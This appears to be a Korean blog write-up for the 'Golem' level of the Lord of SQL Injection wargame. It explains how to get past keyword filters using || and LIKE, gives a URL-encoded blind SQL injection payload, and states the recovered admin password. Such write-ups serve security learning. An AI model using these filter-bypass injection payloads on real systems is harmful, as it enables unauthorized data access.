11.Golem 풀이.
필터링 우회가 핵심.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
음..........() or and substr를 사용 못하게 되어 있다.
$query = "select pw from prob_golem where id = 'admin' and pw='{$_GET[pw]}'";
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
즉 admin의 pw를 찾는 blind sql injection 문제.
일반적인 blind sql injection 문제인데 or,and,substr(,=필터링 되는 것이 다르다).
or은 ||로 필터링 해주고, substr(익숙한 LIKE 쓰면 될 거 같다).
substring을 써도 되기는 한데 LIKE가 익숙하고 또 = 때문에 LIKE를 써야 되기 때문에 LIKE만 쓰겠다.
=는 LIKE로 대체하거나 아니면 부등호 연산자를 사용해서 풀어도 된다.
일단 길이를 알아본다.
?pw='||length%28pw%29like 8 %26%26 id like 'admin
길이는 8.
길이가 8이라서 금방 나왔따.
일단 pw의 값은 88e3137f.
주소창에 입력.
Cf) 전에도 언급했듯이 이렇게 PW의 길이가 짧기에 노가다로 풀어도 되고, mysql을 써도 되고, 파이썬 코드로 해도 된다.
차후에 저 풀이에 대해서는 풀이를 올리겠다.
'# Related site issues > LOS' 카테고리의 다른 글
13.Bugbear. (0) | 2018.05.08 |
---|---|
12.Darkknight. (0) | 2018.05.07 |
10.Skeleton. (0) | 2018.05.07 |
9.Vampire. (0) | 2018.05.07 |
8.Troll. (0) | 2018.05.07 |